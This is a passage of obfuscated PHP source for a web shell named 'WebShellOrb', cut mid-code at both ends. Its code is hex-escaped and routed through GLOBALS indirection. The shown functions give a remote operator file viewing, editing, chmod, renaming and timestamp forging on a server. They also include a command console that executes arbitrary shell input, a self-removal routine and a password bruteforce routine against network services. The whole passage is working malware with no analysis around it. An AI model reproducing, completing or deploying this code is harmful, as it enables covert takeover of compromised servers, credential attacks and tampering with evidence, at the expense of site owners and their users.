".WebShellOrbPermsColor($_POST["\\x70\\x31"])."\\x20Ow\\x6e\\x65\\x72/\\x47\\x72o\\x75\\x70:\\x3c/\\x73\\x70a\\x6e\\x3e\\x20".${${"G\\x4cO\\x42\\x41\\x4c\\x53"}["\\x67kj\\x79r\\x7axng"]}["n\\x61\\x6de"]."/".${${"\\x47L\\x4f\\x42\\x41\\x4cS"}["\\x67nl\\x63ur\\x71\\x6f"]}["name"]."\\x3c\\x62\\x72\\x3e";echo"<\\x73\\x70\\x61n\\x3eC\\x68a\\x6e\\x67e\\x20\\x74\\x69\\x6d\\x65:Ac\\x63\\x65s\\x73 \\x74\\x69me: ".date("\\x59-\\x6d-d\\x20\\x48:i:\\x73",fileatime($_POST["p1"]))." \\x3c\\x73p\\x61\\x6e\\x3eM\\x6f\\x64\\x69f\\x79\\x20tim\\x65:\\x3c/sp\\x61n> ".date("Y-\\x6d-d\\x20H:\\x69:s",filemtime($_POST["\\x70\\x31"]))."<\\x62r><\\x62\\x72\\x3e";$jkomyhk="\\x63";if(empty($_POST["\\x702"]))$_POST["\\x70\\x32"]="v\\x69\\x65\\x77";if(is_file($_POST["p1"]))${${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["w\\x66al\\x62mw"]}=array("\\x56i\\x65\\x77","Hi\\x67\\x68l\\x69\\x67ht","D\\x6fwn\\x6coa\\x64","Hexd\\x75\\x6d\\x70","Ed\\x69\\x74","\\x43hmo\\x64","\\x52e\\x6eame","To\\x75\\x63\\x68");else${${"\\x47\\x4cOB\\x41\\x4c\\x53"}["f\\x73kqo\\x77\\x79\\x6fvp\\x6b"]}=array("\\x43\\x68\\x6dod","\\x52en\\x61me","\\x54\\x6fuch");foreach(${${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["\\x66s\\x6b\\x71\\x6fwyo\\x76\\x70\\x6b"]} as${${"\\x47\\x4c\\x4fBALS"}["\\x76\\x76\\x64x\\x6d\\x6a\\x62g\\x65c"]})echo"<\\x61 hr\\x65f\\x3d\\x23\\x20onclic\\x6b\\x3d\\x22\\x67(\\x6eull,\\x6e\\x75l\\x6c,\\x27".urlencode($_POST["\\x701"])."\\x27,\\x27".strtolower(${${"\\x47\\x4c\\x4fBA\\x4c\\x53"}["\\x66\\x63\\x6d\\x6cc\\x70\\x6d"]})."\\x27)\\x22\\x3e".((strtolower(${$sfgrxg})==@$_POST["p\\x32"])?"\\x3cb\\x3e[\\x20".${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x6ds\\x6c\\x73\\x68ihi"]}."\\x20]\\x3c/b\\x3e":${${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x76\\x76\\x64x\\x6d\\x6a\\x62ge\\x63"]})."\\x3c/\\x61\\x3e\\x20";${"\\x47\\x4cO\\x42\\x41\\x4c\\x53"}["c\\x6b\\x73so\\x77bw"]="f\\x70";echo"<\\x62r><\\x62r>";switch($_POST["\\x702"]){case"v\\x69ew":echo""),array("<\\x66o\\x6e\\x74 ","\\x3c/f\\x6fn\\x74>"),${${"\\x47\\x4cO\\x42\\x41L\\x53"}["\\x64j\\x70f\\x66j\\x79"]})."
";}break;case"c\\x68mo\\x64":if(!empty($_POST["p3"])){$nerjtgakmkl="pe\\x72\\x6d\\x73";${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x6cwn\\x6cj\\x77o\\x7av\\x76\\x66m"]="\\x69";$tmvoqwqnvp="pe\\x72\\x6ds";$djwprjghcfev="i";${$nerjtgakmkl}=0;for(${${"G\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x63\\x6c\\x6b\\x75yo\\x6a\\x6a"]}=strlen($_POST["\\x703"])-1;${${"\\x47LOB\\x41L\\x53"}["l\\x77\\x6e\\x6c\\x6a\\x77o\\x7a\\x76\\x76\\x66\\x6d"]}>=0;--${${"\\x47\\x4c\\x4f\\x42A\\x4cS"}["cl\\x6bu\\x79\\x6f\\x6aj"]})${$tmvoqwqnvp}+=(int)$_POST["p3"][${${"\\x47\\x4c\\x4fB\\x41L\\x53"}["\\x63l\\x6bu\\x79\\x6f\\x6a\\x6a"]}]*pow(8,(strlen($_POST["p\\x33"])-${$djwprjghcfev}-1));if(!@chmod($_POST["\\x70\\x31"],${${"\\x47\\x4c\\x4fB\\x41\\x4cS"}["b\\x67\\x62\\x6ed\\x67l\\x77"]}))echo"C\\x61\\x6e\\x27t\\x20\\x73\\x65t\\x20\\x70er\\x6dis\\x73io\\x6es!\\x3cb\\x72><\\x73cr\\x69pt\\x3edo\\x63\\x75\\x6dent\\x2e\\x6d\\x66\\x2e\\x703.val\\x75e\\x3d\\x22\\x22\\x3b\\x3c/scr\\x69p\\x74>";}clearstatcache();echo"\\x3c\\x66o\\x72\\x6d on\\x73\\x75bmi\\x74=\\x22\\x67(\\x6e\\x75l\\x6c,\\x6e\\x75ll,\'".urlencode($_POST["\\x701"])."\',n\\x75\\x6c\\x6c,\\x74h\\x69\\x73\\x2ech\\x6d\\x6fd.val\\x75e);\\x72e\\x74ur\\x6e\\x20\\x66als\\x65\\x3b\\x22>\\x3c\\x69n\\x70ut type\\x3dte\\x78\\x74 n\\x61me\\x3dc\\x68mod\\x20v\\x61\\x6c\\x75\\x65\\x3d\\"".substr(sprintf("%o",fileperms($_POST["p1"])),-4)."\\">\\x3c\\x69\\x6epu\\x74 \\x74yp\\x65\\x3dsu\\x62\\x6d\\x69t\\x20\\x76al\\x75\\x65\\x3d\\"\\x3e\\x3e\\"\\x3e\\x3c/\\x66\\x6f\\x72\\x6d\\x3e";break;case"\\x65\\x64\\x69t":if(!is_writable($_POST["\\x701"])){echo"F\\x69\\x6c\\x65\\x20\\x69\\x73\\x6e\\x27\\x74 \\x77\\x72itea\\x62\\x6ce";break;}if(!empty($_POST["\\x70\\x33"])){${"G\\x4cO\\x42AL\\x53"}["\\x74\\x6bm\\x6f\\x79\\x6d\\x78t\\x63\\x6f"]="\\x66\\x70";$oixcyn="\\x74\\x69m\\x65";${$oixcyn}=@filemtime($_POST["p1"]);$_POST["\\x70\\x33"]=substr($_POST["\\x703"],1);${${"\\x47L\\x4f\\x42A\\x4c\\x53"}["\\x74\\x6bm\\x6f\\x79m\\x78\\x74\\x63\\x6f"]}=@fopen($_POST["p1"],"\\x77");if(${${"G\\x4c\\x4f\\x42\\x41L\\x53"}["tbrh\\x71\\x62i"]}){@fwrite(${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x74\\x62\\x72\\x68\\x71b\\x69"]},$_POST["\\x703"]);$klfedf="\\x74\\x69\\x6d\\x65";@fclose(${${"\\x47L\\x4fBA\\x4c\\x53"}["\\x74b\\x72hqbi"]});echo"\\x53a\\x76\\x65d\\x21<\\x62r\\x3ep\\x33_\\x3d\\"\\"\\x3b\\x3c\\x69npu\\x74 type=s\\x75bm\\x69\\x74\\x20val\\x75\\x65\\x3d\\">>\\">\\x3c/\\x66\\x6f\\x72\\x6d\\x3e";break;case"\\x68ex\\x64um\\x70":${${"\\x47\\x4cO\\x42\\x41\\x4c\\x53"}["\\x7a\\x6fezi\\x73\\x68\\x73"]}=@file_get_contents($_POST["\\x70\\x31"]);${${"\\x47\\x4cOB\\x41L\\x53"}["\\x78agk\\x69\\x75m\\x69\\x7a\\x62m"]}=0;${${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x61i\\x68\\x78\\x74gu\\x6a"]}=array("0\\x30\\x300\\x30\\x30\\x300\\x3c\\x62\\x72\\x3e","","");${${"\\x47\\x4cO\\x42\\x41L\\x53"}["\\x73\\x72\\x68\\x70\\x75\\x6eo"]}=strlen(${$jkomyhk});for(${${"\\x47LOB\\x41\\x4cS"}["\\x79\\x68o\\x63\\x65e"]}=0;${$vuqevyb}<${$ixhzma};++${${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x63\\x6c\\x6buy\\x6f\\x6aj"]}){$thmyniq="h";${"\\x47\\x4cOB\\x41L\\x53"}["\\x72\\x78\\x6ap\\x70\\x79\\x6a"]="\\x63";$zwhvop="\\x69";$nhqwejrynrqs="h";$nvtehletxkg="\\x63";$ifdzzuwde="\\x68";${$ifdzzuwde}[1].=sprintf("\\x2502\\x58",ord(${$nvtehletxkg}[${$zwhvop}]))."\\x20";${"\\x47L\\x4fB\\x41L\\x53"}["\\x6f\\x78u\\x65\\x72\\x6dmp"]="\\x68";$hyxbwfpurqe="\\x68";switch(ord(${${"G\\x4cOBA\\x4cS"}["s\\x62uww\\x6b\\x6fz\\x74"]}[${${"\\x47L\\x4fB\\x41\\x4c\\x53"}["\\x63\\x6cku\\x79\\x6fjj"]}])){case 0:${${"G\\x4c\\x4f\\x42\\x41\\x4cS"}["ox\\x75\\x65rmm\\x70"]}[2].="\\x20";break;case 9:${$thmyniq}[2].="\\x20";break;case 10:${$nhqwejrynrqs}[2].=" ";break;case 13:${${"GL\\x4f\\x42AL\\x53"}["\\x61\\x69h\\x78t\\x67\\x75\\x6a"]}[2].=" ";break;default:${$hyxbwfpurqe}[2].=${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["rx\\x6ap\\x70yj"]}[${${"GL\\x4f\\x42AL\\x53"}["\\x63\\x6c\\x6b\\x75y\\x6f\\x6a\\x6a"]}];break;}${${"\\x47L\\x4f\\x42AL\\x53"}["\\x6f\\x6e\\x6ddr\\x78"]}++;if(${${"GLO\\x42AL\\x53"}["\\x6f\\x6em\\x64\\x72\\x78"]}==32){${${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x6f\\x6emd\\x72x"]}=0;$evxodxyjwete="h";$fvknjtlk="l\\x65\\x6e";if(${${"G\\x4cOB\\x41\\x4cS"}["c\\x6c\\x6bu\\x79o\\x6a\\x6a"]}+1<${$fvknjtlk}){${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["p\\x6e\\x70\\x6b\\x77rzt\\x6f\\x79\\x7a"]="h";${${"\\x47L\\x4f\\x42A\\x4c\\x53"}["\\x70\\x6ep\\x6bwr\\x7a\\x74oy\\x7a"]}[0].=sprintf("%\\x308X",${${"\\x47\\x4cO\\x42A\\x4c\\x53"}["\\x63\\x6ck\\x75yo\\x6a\\x6a"]}+1)."\\x3cbr\\x3e";}${$evxodxyjwete}[1].="<\\x62\\x72\\x3e";${${"\\x47\\x4c\\x4fB\\x41L\\x53"}["\\x61i\\x68\\x78tg\\x75\\x6a"]}[2].="\\n";}}echo"\\x3c\\x74\\x61\\x62l\\x65 \\x63e\\x6cls\\x70\\x61\\x63i\\x6eg\\x3d1\\x20c\\x65\\x6c\\x6cpad\\x64i\\x6e\\x67\\x3d5\\x20b\\x67c\\x6f\\x6cor=\\x232\\x3222\\x322><\\x73pan s\\x74\\x79l\\x65\\x3d\\"\\x66o\\x6et-\\x77eig\\x68t: \\x6eor\\x6dal;\\"\\x3e".${${"\\x47\\x4cOB\\x41\\x4c\\x53"}["a\\x69\\x68\\x78\\x74g\\x75j"]}[0]."\\x3c/t\\x64\\x3e\\x3ct\\x64 \\x62gcol\\x6f\\x72\\x3d\\x23\\x328\\x32828><\\x70\\x72e\\x3e".${$xieybe}[1]."".htmlspecialchars(${${"GL\\x4fB\\x41L\\x53"}["\\x61ih\\x78\\x74\\x67\\x75\\x6a"]}[2])."\\x3c/\\x70r\\x65>";break;case"\\x72e\\x6eame":if(!empty($_POST["\\x70\\x33"])){if(!@rename($_POST["p1"],$_POST["\\x70\\x33"]))echo"\\x43an\\x27\\x74\\x20re\\x6eam\\x65\\x21\\x3cb\\x72\\x3e";else die("\\x3c\\x73c\\x72\\x69\\x70t\\x3eg(nu\\x6c\\x6c,n\\x75l\\x6c,\\x22".urlencode($_POST["p3"])."\\x22,n\\x75l\\x6c,\\x22\\")\\x3c\\x69\\x6epu\\x74\\x20\\x74y\\x70e\\x3dt\\x65xt n\\x61me\\x3d\\x6e\\x61\\x6d\\x65 \\x76al\\x75e=\\"".htmlspecialchars($_POST["p1"])."\\"\\x3e<\\x69\\x6e\\x70\\x75t ty\\x70e\\x3dsubm\\x69\\x74\\x20v\\x61\\x6c\\x75\\x65=\\"\\x3e\\x3e\\x22\\x3e";break;case"t\\x6fu\\x63h":if(!empty($_POST["p\\x33"])){${"G\\x4c\\x4f\\x42\\x41\\x4cS"}["lkz\\x78o\\x6a\\x62\\x78"]="\\x74\\x69\\x6de";${${"G\\x4c\\x4fBAL\\x53"}["\\x6c\\x6b\\x7ax\\x6fj\\x62\\x78"]}=strtotime($_POST["p\\x33"]);if(${${"GL\\x4f\\x42ALS"}["\\x72i\\x66\\x6fh\\x6f\\x6au"]}){$mhwnuhbbl="\\x74\\x69\\x6de";if(!touch($_POST["p\\x31"],${$mhwnuhbbl},${${"\\x47\\x4cOB\\x41\\x4cS"}["\\x72\\x69\\x66\\x6f\\x68\\x6f\\x6a\\x75"]}))echo"\\x46\\x61il!";else echo"\\x54\\x6fuche\\x64\\x21";}else echo"\\x42a\\x64\\x20\\x74i\\x6de\\x20\\x66o\\x72mat!";}clearstatcache();echo"\\x3c\\x73\\x63\\x72i\\x70t>\\x703\\x5f=\\"\\";<\\x66o\\x72m\\x20\\x6f\\x6e\\x73\\x75\\x62\\x6di\\x74\\x3d\\"g(n\\x75l\\x6c,\\x6e\\x75\\x6cl,\'".urlencode($_POST["\\x70\\x31"])."\',\\x6e\\x75l\\x6c,\\x74\\x68\\x69s.touch.v\\x61lue);r\\x65\\x74\\x75rn\\x20f\\x61l\\x73e;\\">\\x3c\\x69n\\x70u\\x74\\x20\\x74ype\\x3d\\x74\\x65\\x78\\x74 \\x6e\\x61m\\x65=\\x74\\x6f\\x75c\\x68\\x20\\x76al\\x75\\x65=\\x22".date("Y-\\x6d-d \\x48:i:s",@filemtime($_POST["\\x701"]))."\\x22>\\x3c\\x69n\\x70\\x75t\\x20ty\\x70e=s\\x75\\x62mit\\x20\\x76a\\x6cue=\\x22>\\x3e\\"\\x3e\\x3c/\\x66\\x6f\\x72\\x6d>";break;}echo"\\x3c/d\\x69v>";WebShellOrbFooter();}function actionConsole(){if(!empty($_POST["\\x70\\x31"])&&!empty($_POST["\\x70\\x32"])){WebShellOrbsetcookie(md5($_SERVER["HTTP_H\\x4fST"])."\\x73tderr\\x5f\\x74\\x6f_\\x6fut",true);$_POST["\\x701"].=" 2>\\x26\\x31";}elseif(!empty($_POST["\\x70\\x31"]))WebShellOrbsetcookie(md5($_SERVER["HTT\\x50\\x5fHO\\x53\\x54"])."stde\\x72r_to\\x5f\\x6fut",0);if(isset($_POST["a\\x6a\\x61\\x78"])){WebShellOrbsetcookie(md5($_SERVER["H\\x54T\\x50\\x5f\\x48OS\\x54"])."\\x61\\x6aa\\x78",true);ob_start();echo"\\x64.\\x63\\x66\\x2ecm\\x64.\\x76\\x61\\x6c\\x75\\x65\\x3d\'\'\\x3b\\n";${${"\\x47LO\\x42\\x41\\x4cS"}["\\x6de\\x72\\x63gm\\x64\\x77\\x65"]}=@iconv($_POST["ch\\x61\\x72set"],"\\x55\\x54\\x46-\\x38",addcslashes("\\n\\$ ".$_POST["\\x70\\x31"]."\\n".WebShellOrbEx($_POST["\\x70\\x31"]),"\\n\\r\\t\\\\\'\\0"));if(preg_match("\\x21\\x2e*\\x63d\\\\s+([^;]+)\\$\\x21",$_POST["\\x701"],${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["k\\x68\\x74\\x6bb\\x74\\x62\\x63\\x70"]})){${"\\x47LOB\\x41\\x4cS"}["\\x6d\\x63bi\\x71\\x79\\x71u"]="\\x6d\\x61\\x74\\x63\\x68";if(@chdir(${${"\\x47LO\\x42A\\x4c\\x53"}["\\x6d\\x63\\x62i\\x71y\\x71u"]}[1])){$GLOBALS["\\x63wd"]=@getcwd();echo"c\\x5f\\x3d\'".$GLOBALS["cwd"]."\\x27\\x3b";}}echo"d.c\\x66.out\\x70u\\x74\\x2eva\\x6c\\x75\\x65+=\\x27".${${"\\x47\\x4cOB\\x41LS"}["m\\x65\\x72cgm\\x64\\x77\\x65"]}."\';";${"GL\\x4f\\x42A\\x4c\\x53"}["\\x65\\x63g\\x70\\x6e\\x79\\x63\\x6a\\x6f"]="te\\x6dp";echo"\\x64.\\x63f.ou\\x74\\x70u\\x74.s\\x63\\x72\\x6fl\\x6c\\x54op \\x3d \\x64\\x2e\\x63\\x66.o\\x75\\x74put\\x2e\\x73c\\x72o\\x6c\\x6cHe\\x69\\x67\\x68t;";$dkkkes="te\\x6d\\x70";${${"\\x47\\x4c\\x4f\\x42A\\x4cS"}["me\\x72c\\x67\\x6d\\x64\\x77e"]}=ob_get_clean();echo strlen(${${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x65\\x63gpn\\x79\\x63\\x6a\\x6f"]}),"\\n",${$dkkkes};exit;}if(empty($_POST["\\x61j\\x61x"])&&!empty($_POST["p1"]))WebShellOrbsetcookie(md5($_SERVER["HT\\x54P_\\x48O\\x53\\x54"])."\\x61jax",0);WebShellOrbHeader();echo"\\x3c\\x73\\x63r\\x69p\\x74>\\n\\x69f(\\x77i\\x6edow.\\x45\\x76\\x65n\\x74) wind\\x6fw.ca\\x70\\x74ure\\x45ve\\x6e\\x74s(Ev\\x65\\x6et\\x2eK\\x45\\x59\\x44\\x4f\\x57\\x4e)\\x3b\\nv\\x61r\\x20cm\\x64\\x73 \\x3d\\x20new A\\x72\\x72\\x61\\x79(\'\\x27)\\x3b\\n\\x76\\x61\\x72 c\\x75r\\x20\\x3d 0\\x3b\\nfu\\x6e\\x63t\\x69\\x6fn kp(e) {\\n\\t\\x76\\x61\\x72\\x20\\x6e \\x3d\\x20(wi\\x6e\\x64o\\x77.Event)\\x20? \\x65\\x2e\\x77hi\\x63h\\x20:\\x20e\\x2ek\\x65\\x79\\x43\\x6f\\x64e;\\n\\t\\x69f(n \\x3d\\x3d\\x2038) {\\n\\t\\tcu\\x72--;\\n\\t\\tif(c\\x75r\\x3e\\x3d0)\\n\\t\\t\\t\\x64o\\x63\\x75\\x6d\\x65\\x6et.\\x63f.\\x63m\\x64.\\x76a\\x6c\\x75\\x65 \\x3d\\x20\\x63\\x6d\\x64\\x73[\\x63\\x75\\x72]\\x3b\\n\\t\\tel\\x73e\\n\\t\\t\\tcu\\x72++;\\n\\t} el\\x73e \\x69f(\\x6e\\x20\\x3d\\x3d\\x204\\x30) {\\n\\t\\t\\x63ur++\\x3b\\n\\t\\tif(\\x63\\x75r\\x20\\x3c\\x20\\x63md\\x73\\x2e\\x6ceng\\x74\\x68)\\n\\t\\t\\td\\x6f\\x63u\\x6d\\x65\\x6e\\x74.cf.cm\\x64\\x2e\\x76\\x61l\\x75e =\\x20\\x63md\\x73[cur];\\n\\t\\t\\x65lse\\n\\t\\t\\t\\x63u\\x72--\\x3b\\n\\t}\\n}\\n\\x66un\\x63\\x74i\\x6f\\x6e \\x61\\x64d(\\x63md)\\x20{\\n\\t\\x63m\\x64s\\x2e\\x70op();\\n\\t\\x63\\x6dds\\x2ep\\x75\\x73h(c\\x6d\\x64)\\x3b\\n\\tcm\\x64s.pu\\x73\\x68(\\x27\')\\x3b\\n\\t\\x63u\\x72\\x20\\x3d\\x20cm\\x64\\x73\\x2e\\x6c\\x65n\\x67t\\x68-\\x31;\\n}\\n\\x3c/s\\x63\\x72ipt>";echo"\\x3ch\\x31>\\x43\\x6fn\\x73ol\\x65\\x3c/h\\x31>\\x3cd\\x69\\x76 \\x63lass\\x3d\\x63o\\x6e\\x74\\x65n\\x74\\x3e\\x3c\\x66\\x6f\\x72\\x6d n\\x61\\x6de=c\\x66 \\x6f\\x6esu\\x62m\\x69t\\x3d\\"\\x69f(d.\\x63\\x66.\\x63\\x6d\\x64.\\x76\\x61l\\x75e=\\x3d\'\\x63l\\x65a\\x72\'){d\\x2ecf.\\x6fu\\x74pu\\x74.\\x76a\\x6c\\x75\\x65\\x3d\'\\x27;\\x64\\x2e\\x63f.c\\x6d\\x64.\\x76a\\x6cue\\x3d\\x27\\x27\\x3b\\x72\\x65\\x74ur\\x6e\\x20fa\\x6c\\x73\\x65\\x3b}ad\\x64(thi\\x73.c\\x6dd.\\x76al\\x75e)\\x3b\\x69\\x66(t\\x68\\x69\\x73\\x2e\\x61\\x6a\\x61\\x78\\x2e\\x63\\x68\\x65cke\\x64){a(\\x6e\\x75\\x6cl,\\x6eu\\x6c\\x6c,t\\x68i\\x73.cmd\\x2e\\x76\\x61l\\x75e,this\\x2eshow_er\\x72o\\x72s.\\x63he\\x63\\x6bed?1:\\x27\');}\\x65\\x6c\\x73e{g(n\\x75l\\x6c,nu\\x6c\\x6c,\\x74hi\\x73.\\x63\\x6dd\\x2ev\\x61lue,\\x74hi\\x73\\x2es\\x68\\x6f\\x77_\\x65\\x72r\\x6f\\x72\\x73\\x2e\\x63h\\x65c\\x6b\\x65\\x64?1:\\x27\');} r\\x65\\x74ur\\x6e \\x66\\x61\\x6c\\x73\\x65;\\x22><\\x73\\x65\\x6c\\x65ct\\x20name\\x3d\\x61\\x6ci\\x61s>";${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x6cp\\x70\\x69\\x76\\x7a\\x6c\\x72t\\x71"]="v";foreach($GLOBALS["a\\x6c\\x69ase\\x73"]as${${"G\\x4c\\x4f\\x42AL\\x53"}["\\x6fn\\x6d\\x64r\\x78"]}=>${${"\\x47L\\x4f\\x42A\\x4c\\x53"}["\\x6cpp\\x69\\x76zl\\x72t\\x71"]}){if(${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x76\\x76\\x64x\\x6d\\x6a\\x62\\x67ec"]}==""){$mtvypobd="n";echo"";continue;}echo"<\\x6f\\x70\\x74io\\x6e v\\x61l\\x75\\x65=\\"".htmlspecialchars(${${"\\x47\\x4cO\\x42\\x41L\\x53"}["\\x76v\\x64\\x78mj\\x62\\x67\\x65\\x63"]})."\\"\\x3e".${${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x6f\\x6e\\x6d\\x64\\x72\\x78"]}."\\x3c\\x69n\\x70u\\x74 type\\x3d\\x62u\\x74\\x74\\x6fn\\x20\\x6fnc\\x6c\\x69\\x63k=\\"ad\\x64(\\x64.\\x63f.a\\x6c\\x69as.valu\\x65);i\\x66(d.c\\x66\\x2ea\\x6aa\\x78\\x2e\\x63hec\\x6be\\x64){\\x61(n\\x75\\x6c\\x6c,n\\x75l\\x6c,\\x64\\x2e\\x63\\x66.ali\\x61\\x73\\x2e\\x76\\x61\\x6c\\x75e,d.cf.sho\\x77\\x5f\\x65r\\x72\\x6frs.\\x63h\\x65\\x63k\\x65\\x64?\\x31:\'\');}\\x65l\\x73\\x65{g(\\x6e\\x75\\x6cl,n\\x75\\x6c\\x6c,\\x64.\\x63f\\x2e\\x61l\\x69as.\\x76\\x61\\x6cue,d.c\\x66\\x2e\\x73ho\\x77_e\\x72r\\x6frs\\x2ec\\x68\\x65\\x63k\\x65d?\\x31:\\x27\');}\\x22\\x20\\x76a\\x6c\\x75\\x65=\\x22>\\x3e\\x22\\x3e\\x20\\x20sen\\x64 using\\x20A\\x4aAX\\x20<\\x69\\x6eput\\x20\\x74\\x79\\x70e\\x3dc\\x68\\x65\\x63\\x6bb\\x6fx\\x20n\\x61me\\x3ds\\x68\\x6f\\x77\\x5f\\x65\\x72\\x72o\\x72\\x73 va\\x6cue\\x3d\\x31 ".(!empty($_POST["\\x702"])||$_COOKIE[md5($_SERVER["H\\x54T\\x50\\x5fHO\\x53\\x54"])."\\x73\\x74d\\x65\\x72\\x72\\x5f\\x74\\x6f_\\x6fut"]?"c\\x68\\x65cked":"")."\\x3e\\x20\\x72e\\x64ir\\x65c\\x74 st\\x64er\\x72 to\\x20\\x73t\\x64\\x6f\\x75t\\x20(\\x32\\x3e\\x26\\x31)\\$\\x3ctd>\\x3c/\\x74a\\x62\\x6c\\x65\\x3e";echo"\\x3c/\\x66\\x6fr\\x6d\\x3e\\x3c\\x73c\\x72\\x69\\x70t\\x3ed\\x2e\\x63f.c\\x6dd.f\\x6f\\x63\\x75s()\\x3b";WebShellOrbFooter();}function actionLogout(){setcookie(md5($_SERVER["H\\x54TP\\x5fH\\x4fS\\x54"]),"",time()-3600);die("bye!");}function actionSelfRemove(){if($_POST["\\x70\\x31"]=="\\x79e\\x73"){if(@unlink(preg_replace("\\x21\\x5c(\\x5c\\x64+\\\\)\\\\\\x73.*!","",__FILE__)))die("\\x53\\x68el\\x6c\\x20\\x72e\\x6dov\\x65d");else echo"\\x75\\x6el\\x69\\x6ek\\x20\\x65r\\x72\\x6fr!";}if($_POST["p\\x31"]!="y\\x65\\x73")WebShellOrbHeader();echo"\\x53\\x75ic\\x69de\\x3cd\\x69\\x76 c\\x6c\\x61s\\x73=cont\\x65nt>r\\x65\\x6d\\x6fv\\x65\\x20th\\x65 \\x73\\x68el\\x6c?<\\x62\\x72\\x3e";WebShellOrbFooter();}function actionBruteforce(){WebShellOrbHeader();if(isset($_POST["prot\\x6f"])){echo"Res\\x75l\\x74\\x73\\x3c\\x64\\x69\\x76 cl\\x61\\x73s\\x3d\\x63\\x6f\\x6ete\\x6e\\x74\\x3e<\\x73\\x70a\\x6e\\x3e\\x54\\x79pe:\\x3c/s\\x70\\x61n\\x3e ".htmlspecialchars($_POST["p\\x72o\\x74\\x6f"])." \\x53\\x65r\\x76er: ".htmlspecialchars($_POST["s\\x65rver"])."";}if(@$_POST["re\\x76\\x65\\x72se"]){$cfxddtbkve="at\\x74\\x65m\\x70\\x74s";$gfxuhsrtkeve="\\x6ci\\x6e\\x65";${"\\x47\\x4cOBA\\x4cS"}["\\x74\\x64\\x6bp\\x74ho\\x63i\\x66\\x61\\x72"]="\\x74\\x6d\\x70";$vrbvgxqwmgy="i";${${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["\\x65\\x63\\x62\\x63m\\x69\\x79\\x62u\\x65"]}="";${"\\x47\\x4c\\x4fB\\x41LS"}["\\x69\\x71\\x6b\\x74z\\x66\\x6el"]="\\x69";$cludwpcuhof="\\x69";$qsuknriguig="\\x74\\x6d\\x70";for(${$cludwpcuhof}=strlen(${${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x6f\\x6d\\x61\\x6e\\x78f\\x72op\\x6c"]}[0])-1;${${"G\\x4c\\x4f\\x42A\\x4c\\x53"}["i\\x71k\\x74\\x7af\\x6e\\x6c"]}>=0;--${${"G\\x4cO\\x42A\\x4cS"}["\\x63l\\x6b\\x75\\x79o\\x6aj"]})${${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["t\\x64\\x6bp\\x74\\x68\\x6f\\x63\\x69\\x66a\\x72"]}.=${$gfxuhsrtkeve}[0][${$vrbvgxqwmgy}];++${$cfxddtbkve};if(WebShellOrbBruteForce(@${${"G\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x6e\\x6e\\x77\\x74c\\x6ev\\x76"]}[0],@${${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x6e\\x6e\\x77\\x74\\x63\\x6e\\x76v"]}[1],${${"\\x47\\x4c\\x4fBA\\x4c\\x53"}["om\\x61\\x6exf\\x72\\x6f\\x70\\x6c"]}[0],${$qsuknriguig})){${"\\x47\\x4c\\x4fB\\x41L\\x53"}["\\x75\\x68i\\x72x\\x66x\\x70"]="\\x73\\x75\\x63c\\x65\\x73s";$fhhrngya="t\\x6d\\x70";${${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["\\x75h\\x69rx\\x66\\x78\\x70"]}++;echo"\\x3cb\\x3e".htmlspecialchars(${${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["om\\x61\\x6ex\\x66\\x72\\x6f\\x70\\x6c"]}[0])."\\x3c/b\\x3e:".htmlspecialchars(${$fhhrngya});}}}}}elseif($_POST["\\x74\\x79\\x70e"]==2){${"\\x47\\x4cO\\x42A\\x4c\\x53"}["\\x73e\\x75k\\x6f\\x70\\x6a"]="\\x74\\x65mp";${${"\\x47\\x4c\\x4f\\x42\\x41LS"}["\\x73\\x65\\x75\\x6b\\x6f\\x70\\x6a"]}=@file($_POST["d\\x69c\\x74"]);if(is_array(${${"\\x47\\x4cOB\\x41\\x4c\\x53"}["me\\x72cg\\x6d\\x64w\\x65"]})){$cpxpxkucuiy="\\x74e\\x6d\\x70";foreach(${$cpxpxkucuiy} as${${"GLOB\\x41\\x4cS"}["\\x6f\\x6dan\\x78\\x66\\x72\\x6f\\x70\\x6c"]}){$jidncks="\\x73\\x65\\x72ver";${"\\x47L\\x4fB\\x41L\\x53"}["\\x74\\x6dy\\x76\\x67bh"]="att\\x65m\\x70\\x74\\x73";${"G\\x4cO\\x42\\x41\\x4c\\x53"}["\\x6c\\x6c\\x73u\\x6b\\x67"]="\\x73\\x65\\x72v\\x65\\x72";${"\\x47\\x4cOB\\x41LS"}["\\x69\\x63d\\x75fnw\\x64"]="\\x6c\\x69\\x6ee";${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x69c\\x64\\x75f\\x6e\\x77\\x64"]}=trim(${${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x6fm\\x61n\\x78f\\x72o\\x70\\x6c"]});++${${"G\\x4c\\x4f\\x42AL\\x53"}["\\x74\\x6d\\x79\\x76gb\\x68"]};if(WebShellOrbBruteForce(${${"\\x47\\x4cO\\x42AL\\x53"}["\\x6cls\\x75\\x6b\\x67"]}[0],@${$jidncks}[1],$_POST["\\x6cogi\\x6e"],${${"\\x47\\x4c\\x4fB\\x41L\\x53"}["o\\x6d\\x61\\x6e\\x78fr\\x6f\\x70\\x6c"]})){${"\\x47\\x4c\\x4f\\x42\\x41LS"}["jo\\x71\\x6bw\\x6f\\x77lna\\